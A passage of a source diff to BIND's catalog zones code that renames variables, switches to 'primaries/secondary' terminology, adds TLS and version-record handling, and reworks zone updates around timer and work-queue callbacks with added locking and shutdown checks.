 		} else if (rdataset->type == dns_rdatatype_ns) {
 			return (ISC_R_SUCCESS);
@@ -1470,8 +1829,8 @@ dns_catz_update_process(dns_catz_zones_t *catzs, dns_catz_zone_t *zone,
 	}
 
 	dns_name_init(&prefix, NULL);
-	dns_name_split(src_name, zone->name.labels, &prefix, NULL);
-	result = catz_process_value(zone, &prefix, rdataset);
+	dns_name_split(src_name, catz->name.labels, &prefix, NULL);
+	result = catz_process_value(catz, &prefix, rdataset);
 
 	return (result);
 }
@@ -1480,10 +1839,9 @@ static isc_result_t
 digest2hex(unsigned char *digest, unsigned int digestlen, char *hash,
 	   size_t hashlen) {
 	unsigned int i;
-	int ret;
 	for (i = 0; i < digestlen; i++) {
 		size_t left = hashlen - i * 2;
-		ret = snprintf(hash + i * 2, left, "%02x", digest[i]);
+		int ret = snprintf(hash + i * 2, left, "%02x", digest[i]);
 		if (ret < 0 || (size_t)ret >= left) {
 			return (ISC_R_NOSPACE);
 		}
@@ -1492,7 +1850,7 @@ digest2hex(unsigned char *digest, unsigned int digestlen, char *hash,
 }
 
 isc_result_t
-dns_catz_generate_masterfilename(dns_catz_zone_t *zone, dns_catz_entry_t *entry,
+dns_catz_generate_masterfilename(dns_catz_zone_t *catz, dns_catz_entry_t *entry,
 				 isc_buffer_t **buffer) {
 	isc_buffer_t *tbuf = NULL;
 	isc_region_t r;
@@ -1500,23 +1858,23 @@ dns_catz_generate_masterfilename(dns_catz_zone_t *zone, dns_catz_entry_t *entry,
 	size_t rlen;
 	bool special = false;
 
-	REQUIRE(DNS_CATZ_ZONE_VALID(zone));
-	REQUIRE(entry != NULL);
+	REQUIRE(DNS_CATZ_ZONE_VALID(catz));
+	REQUIRE(DNS_CATZ_ENTRY_VALID(entry));
 	REQUIRE(buffer != NULL && *buffer != NULL);
 
-	isc_buffer_allocate(zone->catzs->mctx, &tbuf,
-			    strlen(zone->catzs->view->name) +
+	isc_buffer_allocate(catz->catzs->mctx, &tbuf,
+			    strlen(catz->catzs->view->name) +
 				    2 * DNS_NAME_FORMATSIZE + 2);
 
-	isc_buffer_putstr(tbuf, zone->catzs->view->name);
+	isc_buffer_putstr(tbuf, catz->catzs->view->name);
 	isc_buffer_putstr(tbuf, "_");
-	result = dns_name_totext(&zone->name, true, tbuf);
+	result = dns_name_totext(&catz->name, DNS_NAME_OMITFINALDOT, tbuf);
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup;
 	}
 
 	isc_buffer_putstr(tbuf, "_");
-	result = dns_name_totext(&entry->name, true, tbuf);
+	result = dns_name_totext(&entry->name, DNS_NAME_OMITFINALDOT, tbuf);
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup;
 	}
@@ -1540,7 +1898,7 @@ dns_catz_generate_masterfilename(dns_catz_zone_t *zone, dns_catz_entry_t *entry,
 		rlen += strlen(entry->opts.zonedir) + 1;
 	}
 
-	result = isc_buffer_reserve(buffer, (unsigned int)rlen);
+	result = isc_buffer_reserve(*buffer, (unsigned int)rlen);
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup;
 	}
@@ -1580,56 +1938,42 @@ dns_catz_generate_masterfilename(dns_catz_zone_t *zone, dns_catz_entry_t *entry,
 	return (result);
 }
 
+/*
+ * We have to generate a text buffer with regular zone config:
+ * zone "foo.bar" {
+ * 	type secondary;
+ * 	primaries { ip1 port port1; ip2 port port2; };
+ * }
+ */
 isc_result_t
-dns_catz_generate_zonecfg(dns_catz_zone_t *zone, dns_catz_entry_t *entry,
+dns_catz_generate_zonecfg(dns_catz_zone_t *catz, dns_catz_entry_t *entry,
 			  isc_buffer_t **buf) {
-	/*
-	 * We have to generate a text buffer with regular zone config:
-	 * zone "foo.bar" {
-	 * 	type slave;
-	 * 	masters [ dscp X ] { ip1 port port1; ip2 port port2; };
-	 * }
-	 */
 	isc_buffer_t *buffer = NULL;
 	isc_region_t region;
 	isc_result_t result;
 	uint32_t i;
 	isc_netaddr_t netaddr;
-	char pbuf[sizeof("65535")]; /* used both for port number and DSCP */
+	char pbuf[sizeof("65535")]; /* used for port number */
 	char zname[DNS_NAME_FORMATSIZE];
 
-	REQUIRE(DNS_CATZ_ZONE_VALID(zone));
-	REQUIRE(entry != NULL);
+	REQUIRE(DNS_CATZ_ZONE_VALID(catz));
+	REQUIRE(DNS_CATZ_ENTRY_VALID(entry));
 	REQUIRE(buf != NULL && *buf == NULL);
 
 	/*
 	 * The buffer will be reallocated if something won't fit,
 	 * ISC_BUFFER_INCR seems like a good start.
 	 */
-	isc_buffer_allocate(zone->catzs->mctx, &buffer, ISC_BUFFER_INCR);
+	isc_buffer_allocate(catz->catzs->mctx, &buffer, ISC_BUFFER_INCR);
 
-	isc_buffer_setautorealloc(buffer, true);
 	isc_buffer_putstr(buffer, "zone \"");
-	dns_name_totext(&entry->name, true, buffer);
-	isc_buffer_putstr(buffer, "\" { type slave; masters");
-
-	/*
-	 * DSCP value has no default, but when it is specified, it is identical
-	 * for all masters and cannot be overridden for a specific master IP, so
-	 * use the DSCP value set for the first master
-	 */
-	if (entry->opts.masters.count > 0 && entry->opts.masters.dscps[0] >= 0)
-	{
-		isc_buffer_putstr(buffer, " dscp ");
-		snprintf(pbuf, sizeof(pbuf), "%hd",
-			 entry->opts.masters.dscps[0]);
-		isc_buffer_putstr(buffer, pbuf);
-	}
+	dns_name_totext(&entry->name, DNS_NAME_OMITFINALDOT, buffer);
+	isc_buffer_putstr(buffer, "\" { type secondary; primaries");
 
 	isc_buffer_putstr(buffer, " { ");
 	for (i = 0; i < entry->opts.masters.count; i++) {
 		/*
-		 * Every master must have an IP address assigned.
+		 * Every primary must have an IP address assigned.
 		 */
 		switch (entry->opts.masters.addrs[i].type.sa.sa_family) {
 		case AF_INET:
@@ -1640,7 +1984,7 @@ dns_catz_generate_zonecfg(dns_catz_zone_t *zone, dns_catz_entry_t *entry,
 					DNS_NAME_FORMATSIZE);
 			isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
 				      DNS_LOGMODULE_MASTER, ISC_LOG_ERROR,
-				      "catz: zone '%s' uses an invalid master "
+				      "catz: zone '%s' uses an invalid primary "
 				      "(no IP address assigned)",
 				      zname);
 			result = ISC_R_FAILURE;
@@ -1648,7 +1992,7 @@ dns_catz_generate_zonecfg(dns_catz_zone_t *zone, dns_catz_entry_t *entry,
 		}
 		isc_netaddr_fromsockaddr(&netaddr,
 					 &entry->opts.masters.addrs[i]);
-		isc_buffer_reserve(&buffer, INET6_ADDRSTRLEN);
+		isc_buffer_reserve(buffer, INET6_ADDRSTRLEN);
 		result = isc_netaddr_totext(&netaddr, buffer);
 		RUNTIME_CHECK(result == ISC_R_SUCCESS);
 
@@ -1660,7 +2004,16 @@ dns_catz_generate_zonecfg(dns_catz_zone_t *zone, dns_catz_entry_t *entry,
 		if (entry->opts.masters.keys[i] != NULL) {
 			isc_buffer_putstr(buffer, " key ");
 			result = dns_name_totext(entry->opts.masters.keys[i],
-						 true, buffer);
+						 DNS_NAME_OMITFINALDOT, buffer);
+			if (result != ISC_R_SUCCESS) {
+				goto cleanup;
+			}
+		}
+
+		if (entry->opts.masters.tlss[i] != NULL) {
+			isc_buffer_putstr(buffer, " tls ");
+			result = dns_name_totext(entry->opts.masters.tlss[i],
+						 DNS_NAME_OMITFINALDOT, buffer);
 			if (result != ISC_R_SUCCESS) {
 				goto cleanup;
 			}
@@ -1670,7 +2023,7 @@ dns_catz_generate_zonecfg(dns_catz_zone_t *zone, dns_catz_entry_t *entry,
 	isc_buffer_putstr(buffer, "}; ");
 	if (!entry->opts.in_memory) {
 		isc_buffer_putstr(buffer, "file \"");
-		result = dns_catz_generate_masterfilename(zone, entry, &buffer);
+		result = dns_catz_generate_masterfilename(catz, entry, &buffer);
 		if (result != ISC_R_SUCCESS) {
 			goto cleanup;
 		}
@@ -1699,106 +2052,121 @@ dns_catz_generate_zonecfg(dns_catz_zone_t *zone, dns_catz_entry_t *entry,
 	return (result);
 }
 
-void
-dns_catz_update_taskaction(isc_task_t *task, isc_event_t *event) {
-	isc_result_t result;
-	dns_catz_zone_t *zone;
-	(void)task;
-
-	REQUIRE(event != NULL);
-	zone = event->ev_arg;
-	REQUIRE(DNS_CATZ_ZONE_VALID(zone));
-
-	LOCK(&zone->catzs->lock);
-	zone->updatepending = false;
-	dns_catz_update_from_db(zone->db, zone->catzs);
-	result = isc_timer_reset(zone->updatetimer, isc_timertype_inactive,
-				 NULL, NULL, true);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-	isc_event_free(&event);
-	result = isc_time_now(&zone->lastupdated);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-	UNLOCK(&zone->catzs->lock);
+static void
+dns__catz_timer_cb(void *arg) {
+	char domain[DNS_NAME_FORMATSIZE];
+	dns_catz_zone_t *catz = (dns_catz_zone_t *)arg;
+
+	REQUIRE(DNS_CATZ_ZONE_VALID(catz));
+
+	if (atomic_load(&catz->catzs->shuttingdown)) {
+		return;
+	}
+
+	LOCK(&catz->catzs->lock);
+
+	INSIST(DNS_DB_VALID(catz->db));
+	INSIST(catz->dbversion != NULL);
+	INSIST(catz->updb == NULL);
+	INSIST(catz->updbversion == NULL);
+
+	catz->updatepending = false;
+	catz->updaterunning = true;
+	catz->updateresult = ISC_R_UNSET;
+
+	dns_name_format(&catz->name, domain, DNS_NAME_FORMATSIZE);
+
+	if (!catz->active) {
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
+			      DNS_LOGMODULE_MASTER, ISC_LOG_INFO,
+			      "catz: %s: no longer active, reload is canceled",
+			      domain);
+		catz->updaterunning = false;
+		catz->updateresult = ISC_R_CANCELED;
+		goto exit;
+	}
+
+	dns_db_attach(catz->db, &catz->updb);
+	catz->updbversion = catz->dbversion;
+	catz->dbversion = NULL;
+
+	isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL, DNS_LOGMODULE_MASTER,
+		      ISC_LOG_INFO, "catz: %s: reload start", domain);
+
+	dns_catz_zone_ref(catz);
+	isc_work_enqueue(catz->loop, dns__catz_update_cb, dns__catz_done_cb,
+			 catz);
+
+exit:
+	isc_timer_destroy(&catz->updatetimer);
+	catz->loop = NULL;
+
+	catz->lastupdated = isc_time_now();
+
+	UNLOCK(&catz->catzs->lock);
 }
 
 isc_result_t
 dns_catz_dbupdate_callback(dns_db_t *db, void *fn_arg) {
-	dns_catz_zones_t *catzs;
-	dns_catz_zone_t *zone = NULL;
-	isc_time_t now;
-	uint64_t tdiff;
+	dns_catz_zones_t *catzs = NULL;
+	dns_catz_zone_t *catz = NULL;
 	isc_result_t result = ISC_R_SUCCESS;
 	isc_region_t r;
 
 	REQUIRE(DNS_DB_VALID(db));
-	REQUIRE(fn_arg != NULL);
+	REQUIRE(DNS_CATZ_ZONES_VALID(fn_arg));
 	catzs = (dns_catz_zones_t *)fn_arg;
 
+	if (atomic_load(&catzs->shuttingdown)) {
+		return (ISC_R_SHUTTINGDOWN);
+	}
+
 	dns_name_toregion(&db->origin, &r);
 
 	LOCK(&catzs->lock);
-	result = isc_ht_find(catzs->zones, r.base, r.length, (void **)&zone);
+	if (catzs->zones == NULL) {
+		result = ISC_R_SHUTTINGDOWN;
+		goto cleanup;
+	}
+	result = isc_ht_find(catzs->zones, r.base, r.length, (void **)&catz);
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup;
 	}
 
 	/* New zone came as AXFR */
-	if (zone->db != NULL && zone->db != db) {
-		if (zone->dbversion != NULL) {
-			dns_db_closeversion(zone->db, &zone->dbversion, false);
+	if (catz->db != NULL && catz->db != db) {
+		/* Old db cleanup. */
+		if (catz->dbversion != NULL) {
+			dns_db_closeversion(catz->db, &catz->dbversion, false);
 		}
-		dns_db_detach(&zone->db);
-		/*
-		 * We're not registering db update callback, it will be
-		 * registered at the end of update_from_db
-		 */
-		zone->db_registered = false;
+		dns_db_updatenotify_unregister(
+			catz->db, dns_catz_dbupdate_callback, catz->catzs);
+		dns_db_detach(&catz->db);
 	}
-	if (zone->db == NULL) {
-		dns_db_attach(db, &zone->db);
+	if (catz->db == NULL) {
+		/* New db registration. */
+		dns_db_attach(db, &catz->db);
+		dns_db_updatenotify_register(db, dns_catz_dbupdate_callback,
+					     catz->catzs);
 	}
 
-	if (!zone->updatepending) {
-		zone->updatepending = true;
-		isc_time_now(&now);
-		tdiff = isc_time_microdiff(&now, &zone->lastupdated) / 1000000;
-		if (tdiff < zone->defoptions.min_update_interval) {
-			isc_interval_t interval;
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
-				      DNS_LOGMODULE_MASTER, ISC_LOG_INFO,
-				      "catz: new zone version came too soon, "
-				      "deferring update");
-			isc_interval_set(&interval,
-					 zone->defoptions.min_update_interval -
-						 (unsigned int)tdiff,
-					 0);
-			dns_db_currentversion(db, &zone->dbversion);
-			result = isc_timer_reset(zone->updatetimer,
-						 isc_timertype_once, NULL,
-						 &interval, true);
-			if (result != ISC_R_SUCCESS) {
-				goto cleanup;
-			}
-		} else {
-			isc_event_t *event;
-
-			dns_db_currentversion(db, &zone->dbversion);
-			ISC_EVENT_INIT(&zone->updateevent,
-				       sizeof(zone->updateevent), 0, NULL,
-				       DNS_EVENT_CATZUPDATED,
-				       dns_catz_update_taskaction, zone, zone,
-				       NULL, NULL);
-			event = &zone->updateevent;
-			isc_task_send(catzs->updater, &event);
-		}
+	if (!catz->updatepending && !catz->updaterunning) {
+		catz->updatepending = true;
+		dns_db_currentversion(db, &catz->dbversion);
+		dns__catz_timer_start(catz);
 	} else {
+		char dname[DNS_NAME_FORMATSIZE];
+
+		catz->updatepending = true;
+		dns_name_format(&catz->name, dname, DNS_NAME_FORMATSIZE);
 		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
 			      DNS_LOGMODULE_MASTER, ISC_LOG_DEBUG(3),
-			      "catz: update already queued");
-		if (zone->dbversion != NULL) {
-			dns_db_closeversion(zone->db, &zone->dbversion, false);
+			      "catz: %s: update already queued or running",
+			      dname);
+		if (catz->dbversion != NULL) {
+			dns_db_closeversion(catz->db, &catz->dbversion, false);
 		}
-		dns_db_currentversion(zone->db, &zone->dbversion);
+		dns_db_currentversion(catz->db, &catz->dbversion);
 	}
 
 cleanup:
@@ -1808,91 +2176,158 @@ dns_catz_dbupdate_callback(dns_db_t *db, void *fn_arg) {
 }
 
 void
-dns_catz_update_from_db(dns_db_t *db, dns_catz_zones_t *catzs) {
-	dns_catz_zone_t *oldzone = NULL, *newzone = NULL;
+dns_catz_dbupdate_unregister(dns_db_t *db, dns_catz_zones_t *catzs) {
+	REQUIRE(DNS_DB_VALID(db));
+	REQUIRE(DNS_CATZ_ZONES_VALID(catzs));
+
+	dns_db_updatenotify_unregister(db, dns_catz_dbupdate_callback, catzs);
+}
+
+void
+dns_catz_dbupdate_register(dns_db_t *db, dns_catz_zones_t *catzs) {
+	REQUIRE(DNS_DB_VALID(db));
+	REQUIRE(DNS_CATZ_ZONES_VALID(catzs));
+
+	dns_db_updatenotify_register(db, dns_catz_dbupdate_callback, catzs);
+}
+
+static bool
+catz_rdatatype_is_processable(const dns_rdatatype_t type) {
+	return (!dns_rdatatype_isdnssec(type) && type != dns_rdatatype_cds &&
+		type != dns_rdatatype_cdnskey && type != dns_rdatatype_zonemd);
+}
+
+/*
+ * Process an updated database for a catalog zone.
+ * It creates a new catz, iterates over database to fill it with content, and
+ * then merges new catz into old catz.
+ */
+static void
+dns__catz_update_cb(void *data) {
+	dns_catz_zone_t *catz = (dns_catz_zone_t *)data;
+	dns_db_t *updb = NULL;
+	dns_catz_zones_t *catzs = NULL;
+	dns_catz_zone_t *oldcatz = NULL, *newcatz = NULL;
 	isc_result_t result;
 	isc_region_t r;
 	dns_dbnode_t *node = NULL;
-	dns_dbiterator_t *it = NULL;
+	const dns_dbnode_t *vers_node = NULL;
+	dns_dbiterator_t *updbit = NULL;
 	dns_fixedname_t fixname;
-	dns_name_t *name;
+	dns_name_t *name = NULL;
 	dns_rdatasetiter_t *rdsiter = NULL;
 	dns_rdataset_t rdataset;
 	char bname[DNS_NAME_FORMATSIZE];
-	isc_buffer_t ibname;
+	char cname[DNS_NAME_FORMATSIZE];
+	bool is_vers_processed = false;
+	bool is_active;
 	uint32_t vers;
+	uint32_t catz_vers;
 
-	REQUIRE(DNS_DB_VALID(db));
-	REQUIRE(DNS_CATZ_ZONES_VALID(catzs));
+	REQUIRE(DNS_CATZ_ZONE_VALID(catz));
+	REQUIRE(DNS_DB_VALID(catz->updb));
+	REQUIRE(DNS_CATZ_ZONES_VALID(catz->catzs));
+
+	updb = catz->updb;
+	catzs = catz->catzs;
+
+	if (atomic_load(&catzs->shuttingdown)) {
+		result = ISC_R_SHUTTINGDOWN;
+		goto exit;
+	}
+
+	dns_name_format(&updb->origin, bname, DNS_NAME_FORMATSIZE);
 
 	/*
 	 * Create a new catz in the same context as current catz.
 	 */
-	dns_name_toregion(&db->origin, &r);
-	result = isc_ht_find(catzs->zones, r.base, r.length, (void **)&oldzone);
+	dns_name_toregion(&updb->origin, &r);
+	LOCK(&catzs->lock);
+	result = isc_ht_find(catzs->zones, r.base, r.length, (void **)&oldcatz);
+	is_active = (result == ISC_R_SUCCESS && oldcatz->active);
+	UNLOCK(&catzs->lock);
 	if (result != ISC_R_SUCCESS) {
 		/* This can happen if we remove the zone in the meantime. */
 		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
 			      DNS_LOGMODULE_MASTER, ISC_LOG_ERROR,
 			      "catz: zone '%s' not in config", bname);
-		return;
+		goto exit;
 	}
 
-	isc_buffer_init(&ibname, bname, DNS_NAME_FORMATSIZE);
-	result = dns_name_totext(&db->origin, true, &ibname);
-	INSIST(result == ISC_R_SUCCESS);
+	if (!is_active) {
+		/* This can happen during a reconfiguration. */
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
+			      DNS_LOGMODULE_MASTER, ISC_LOG_INFO,
+			      "catz: zone '%s' is no longer active", bname);
+		result = ISC_R_CANCELED;
+		goto exit;
+	}
 
-	result = dns_db_getsoaserial(db, oldzone->dbversion, &vers);
+	result = dns_db_getsoaserial(updb, oldcatz->updbversion, &vers);
 	if (result != ISC_R_SUCCESS) {
 		/* A zone without SOA record?!? */
 		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
 			      DNS_LOGMODULE_MASTER, ISC_LOG_ERROR,
 			      "catz: zone '%s' has no SOA record (%s)", bname,
 			      isc_result_totext(result));
-		return;
+		goto exit;
 	}
 
 	isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL, DNS_LOGMODULE_MASTER,
 		      ISC_LOG_INFO,
-		      "catz: updating catalog zone '%s' with serial %d", bname,
-		      vers);
-
-	result = dns_catz_new_zone(catzs, &newzone, &db->origin);
-	if (result != ISC_R_SUCCESS) {
-		dns_db_closeversion(db, &oldzone->dbversion, false);
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
-			      DNS_LOGMODULE_MASTER, ISC_LOG_ERROR,
-			      "catz: failed to create new zone - %s",
-			      isc_result_totext(result));
-		return;
-	}
+		      "catz: updating catalog zone '%s' with serial %" PRIu32,
+		      bname, vers);
 
-	result = dns_db_createiterator(db, DNS_DB_NONSEC3, &it);
+	result = dns_db_createiterator(updb, DNS_DB_NONSEC3, &updbit);
 	if (result != ISC_R_SUCCESS) {
-		dns_catz_zone_detach(&newzone);
-		dns_db_closeversion(db, &oldzone->dbversion, false);
 		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
 			      DNS_LOGMODULE_MASTER, ISC_LOG_ERROR,
 			      "catz: failed to create DB iterator - %s",
 			      isc_result_totext(result));
-		return;
+		goto exit;
 	}
 
 	name = dns_fixedname_initname(&fixname);
 
 	/*
-	 * Iterate over database to fill the new zone.
+	 * Take the version record to process first, because the other
+	 * records might be processed differently depending on the version of
+	 * the catalog zone's schema.
 	 */
-	result = dns_dbiterator_first(it);
+	result = dns_name_fromstring(name, "version", &updb->origin, 0, NULL);
 	if (result != ISC_R_SUCCESS) {
+		dns_dbiterator_destroy(&updbit);
 		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
 			      DNS_LOGMODULE_MASTER, ISC_LOG_ERROR,
-			      "catz: failed to get db iterator - %s",
+			      "catz: failed to create name from string - %s",
 			      isc_result_totext(result));
+		goto exit;
+	}
+
+	result = dns_dbiterator_seek(updbit, name);
+	if (result != ISC_R_SUCCESS) {
+		dns_dbiterator_destroy(&updbit);
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
+			      DNS_LOGMODULE_MASTER, ISC_LOG_ERROR,
+			      "catz: zone '%s' has no 'version' record (%s) "
+			      "and will not be processed",
+			      bname, isc_result_totext(result));
+		goto exit;
 	}
 
+	newcatz = dns_catz_zone_new(catzs, &updb->origin);
+	name = dns_fixedname_initname(&fixname);
+
+	/*
+	 * Iterate over database to fill the new zone.
+	 */
 	while (result == ISC_R_SUCCESS) {
-		result = dns_dbiterator_current(it, &node, name);
+		if (atomic_load(&catzs->shuttingdown)) {
+			result = ISC_R_SHUTTINGDOWN;
+			break;
+		}
+
+		result = dns_dbiterator_current(updbit, &node, name);
 		if (result != ISC_R_SUCCESS) {
 			isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
 				      DNS_LOGMODULE_MASTER, ISC_LOG_ERROR,
@@ -1901,14 +2336,27 @@ dns_catz_update_from_db(dns_db_t *db, dns_catz_zones_t *catzs) {
 			break;
 		}
 
-		result = dns_db_allrdatasets(db, node, oldzone->dbversion, 0,
-					     &rdsiter);
+		result = dns_dbiterator_pause(updbit);
+		RUNTIME_CHECK(result == ISC_R_SUCCESS);
+
+		if (!is_vers_processed) {
+			/* Keep the version node to skip it later in the loop */
+			vers_node = node;
+		} else if (node == vers_node) {
+			/* Skip the already processed version node */
+			dns_db_detachnode(updb, &node);
+			result = dns_dbiterator_next(updbit);
+			continue;
+		}
+
+		result = dns_db_allrdatasets(updb, node, oldcatz->updbversion,
+					     0, 0, &rdsiter);
 		if (result != ISC_R_SUCCESS) {
 			isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
 				      DNS_LOGMODULE_MASTER, ISC_LOG_ERROR,
 				      "catz: failed to fetch rrdatasets - %s",
 				      isc_result_totext(result));
-			dns_db_detachnode(db, &node);
+			dns_db_detachnode(updb, &node);
 			break;
 		}
 
@@ -1916,10 +2364,28 @@ dns_catz_update_from_db(dns_db_t *db, dns_catz_zones_t *catzs) {
 		result = dns_rdatasetiter_first(rdsiter);
 		while (result == ISC_R_SUCCESS) {
 			dns_rdatasetiter_current(rdsiter, &rdataset);
-			result = dns_catz_update_process(catzs, newzone, name,
-							 &rdataset);
+
+			/*
+			 * Skip processing DNSSEC-related and ZONEMD types,
+			 * because we are not interested in them in the context
+			 * of a catalog zone, and processing them will fail
+			 * and produce an unnecessary warning message.
+			 */
+			if (!catz_rdatatype_is_processable(rdataset.type)) {
+				goto next;
+			}
+
+			/*
+			 * Although newcatz->coos is accessed in
+			 * catz_process_coo() in the call-chain below, we don't
+			 * need to hold the newcatz->lock, because the newcatz
+			 * is still local to this thread and function and
+			 * newcatz->coos can't be accessed from the outside
+			 * until dns__catz_zones_merge() has been called.
+			 */
+			result = dns__catz_update_process(newcatz, name,
+							  &rdataset);
 			if (result != ISC_R_SUCCESS) {
-				char cname[DNS_NAME_FORMATSIZE];
 				char typebuf[DNS_RDATATYPE_FORMATSIZE];
 				char classbuf[DNS_RDATACLASS_FORMATSIZE];
 
@@ -1933,42 +2399,80 @@ dns_catz_update_from_db(dns_db_t *db, dns_catz_zones_t *catzs) {
 				isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
 					      DNS_LOGMODULE_MASTER,
 					      ISC_LOG_WARNING,
-					      "catz: unknown record in catalog "
-					      "zone - %s %s %s(%s) - ignoring",
+					      "catz: invalid record in catalog "
+					      "zone - %s %s %s (%s) - ignoring",
 					      cname, classbuf, typebuf,
 					      isc_result_totext(result));
 			}
+		next:
 			dns_rdataset_disassociate(&rdataset);
-			if (result != ISC_R_SUCCESS) {
-				break;
-			}
 			result = dns_rdatasetiter_next(rdsiter);
 		}
 
 		dns_rdatasetiter_destroy(&rdsiter);
 
-		dns_db_detachnode(db, &node);
-		result = dns_dbiterator_next(it);
+		dns_db_detachnode(updb, &node);
+
+		if (!is_vers_processed) {
+			is_vers_processed = true;
+			result = dns_dbiterator_first(updbit);
+		} else {
+			result = dns_dbiterator_next(updbit);
+		}
 	}
 
-	dns_dbiterator_destroy(&it);
-	dns_db_closeversion(db, &oldzone->dbversion, false);
+	dns_dbiterator_destroy(&updbit);
 	isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL, DNS_LOGMODULE_MASTER,
 		      ISC_LOG_DEBUG(3),
-		      "catz: update_from_db: iteration finished");
+		      "catz: update_from_db: iteration finished: %s",
+		      isc_result_totext(result));
+
+	/*
+	 * Check catalog zone version compatibilites.
+	 */
+	catz_vers = (newcatz->version == DNS_CATZ_VERSION_UNDEFINED)
+			    ? oldcatz->version
+			    : newcatz->version;
+	if (catz_vers == DNS_CATZ_VERSION_UNDEFINED) {
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
+			      DNS_LOGMODULE_MASTER, ISC_LOG_WARNING,
+			      "catz: zone '%s' version is not set", bname);
+		newcatz->broken = true;
+	} else if (catz_vers != 1 && catz_vers != 2) {
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
+			      DNS_LOGMODULE_MASTER, ISC_LOG_WARNING,
+			      "catz: zone '%s' unsupported version "
+			      "'%" PRIu32 "'",
+			      bname, catz_vers);
+		newcatz->broken = true;
+	} else {
+		oldcatz->version = catz_vers;
+	}
+
+	if (newcatz->broken) {
+		dns_name_format(name, cname, DNS_NAME_FORMATSIZE);
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
+			      DNS_LOGMODULE_MASTER, ISC_LOG_ERROR,
+			      "catz: new catalog zone '%s' is broken and "
+			      "will not be processed",
+			      bname);
+		dns_catz_zone_detach(&newcatz);
+		result = ISC_R_FAILURE;
+		goto exit;
+	}
 
 	/*
 	 * Finally merge new zone into old zone.
 	 */
-	result = dns_catz_zones_merge(oldzone, newzone);
-	dns_catz_zone_detach(&newzone);
+	result = dns__catz_zones_merge(oldcatz, newcatz);
+	dns_catz_zone_detach(&newcatz);
 	if (result != ISC_R_SUCCESS) {
 		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
 			      DNS_LOGMODULE_MASTER, ISC_LOG_ERROR,
 			      "catz: failed merging zones: %s",
 			      isc_result_totext(result));
 
-		return;
+		goto exit;
 	}
 
 	isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL, DNS_LOGMODULE_MASTER,
@@ -1981,13 +2485,40 @@ dns_catz_update_from_db(dns_db_t *db, dns_catz_zones_t *catzs) {
 	 * update callback in zone_startload or axfr_makedb, but we will
 	 * call onupdate() artificially so we can register the callback here.
 	 */
-	if (!oldzone->db_registered) {
-		result = dns_db_updatenotify_register(
-			db, dns_catz_dbupdate_callback, oldzone->catzs);
-		if (result == ISC_R_SUCCESS) {
-			oldzone->db_registered = true;
-		}
+	dns_db_updatenotify_register(updb, dns_catz_dbupdate_callback,
+				     oldcatz->catzs);
+
+exit:
+	catz->updateresult = result;
+}
+
+static void
+dns__catz_done_cb(void *data) {
+	dns_catz_zone_t *catz = (dns_catz_zone_t *)data;
+	char dname[DNS_NAME_FORMATSIZE];
+
+	REQUIRE(DNS_CATZ_ZONE_VALID(catz));
+
+	LOCK(&catz->catzs->lock);
+	catz->updaterunning = false;
+
+	dns_name_format(&catz->name, dname, DNS_NAME_FORMATSIZE);
+
+	if (catz->updatepending && !atomic_load(&catz->catzs->shuttingdown)) {
+		/* Restart the timer */
+		dns__catz_timer_start(catz);
 	}
+
+	dns_db_closeversion(catz->updb, &catz->updbversion, false);
+	dns_db_detach(&catz->updb);
+
+	UNLOCK(&catz->catzs->lock);
+
+	isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL, DNS_LOGMODULE_MASTER,
+		      ISC_LOG_INFO, "catz: %s: reload done: %s", dname,
+		      isc_result_totext(catz->updateresult));
+
+	dns_catz_zone_unref(catz);
 }
 
 void
@@ -1997,15 +2528,16 @@ dns_catz_prereconfig(dns_catz_zones_t *catzs) {
 
 	REQUIRE(DNS_CATZ_ZONES_VALID(catzs));
 
-	result = isc_ht_iter_create(catzs->zones, &iter);
-	INSIST(result == ISC_R_SUCCESS);
+	LOCK(&catzs->lock);
+	isc_ht_iter_create(catzs->zones, &iter);
 	for (result = isc_ht_iter_first(iter); result == ISC_R_SUCCESS;
 	     result = isc_ht_iter_next(iter))
 	{
-		dns_catz_zone_t *zone = NULL;
-		isc_ht_iter_current(iter, (void **)&zone);
-		zone->active = false;
+		dns_catz_zone_t *catz = NULL;
+		isc_ht_iter_current(iter, (void **)&catz);
+		catz->active = false;
 	}
+	UNLOCK(&catzs->lock);
 	INSIST(result == ISC_R_NOMORE);
 	isc_ht_iter_destroy(&iter);
 }
@@ -2013,21 +2545,20 @@ dns_catz_prereconfig(dns_catz_zones_t *catzs) {
 void
 dns_catz_postreconfig(dns_catz_zones_t *catzs) {
 	isc_result_t result;
-	dns_catz_zone_t *newzone = NULL;
+	dns_catz_zone_t *newcatz = NULL;
 	isc_ht_iter_t *iter = NULL;
 
 	REQUIRE(DNS_CATZ_ZONES_VALID(catzs));
 
 	LOCK(&catzs->lock);
-	result = isc_ht_iter_create(catzs->zones, &iter);
-	INSIST(result == ISC_R_SUCCESS);
+	isc_ht_iter_create(catzs->zones, &iter);
